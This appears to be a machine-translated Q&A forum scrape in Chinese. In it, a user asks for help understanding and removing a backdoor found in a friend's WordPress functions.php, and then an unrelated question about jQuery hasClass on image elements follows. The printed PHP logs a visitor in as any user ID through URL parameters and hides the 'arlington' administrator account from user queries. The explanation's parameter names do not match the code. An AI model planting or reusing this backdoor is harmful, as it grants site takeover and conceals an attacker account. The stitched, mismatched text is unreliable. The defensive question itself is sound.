我正在用他的wordpress网站帮助一个朋友,我在他的functions.php文件中找到了这段代码.我想要一些帮助试图理解它,看看我是否可以删除它.
if(isset($_GET['foo'])){ $a = $_GET['foo']; }
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {
$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}
Run Code Online (Sandbox Code Playgroud)
据我所知,是否发布了GET请求,其中'lg'属性的用户ID正确,'cg'属性的字符'M'.然后它获取用户数据并登录并为用户创建cookie.所以基本上有人可以使用以下网址www.mysite.com?lg=1&cg=M登录.用适当的UserID或暴力替换1,直到找到一个.
在用户查询之前运行第二段代码之后.看起来它需要$ user_search参数.如果用户名不是"自定义",则它运行数据库查询,而不返回用户登录.
如果我正确地解释了这一点,请告诉我.
编辑:我将稍微改变变量以防止任何恶作剧因为我相信它可以很容易地利用它来利用wordpress网站.
我使用JavaScript从我的HTML中检索图像,代码如下:
var images = document.getElementsByTagName("img");
Run Code Online (Sandbox Code Playgroud)
如果我正确理解JavaScript,则返回HTMLImageElement类型的对象.我可以使用.className变量直接访问它的变量,但我不能在其上调用Jquery .hasClass()方法.为什么是这样?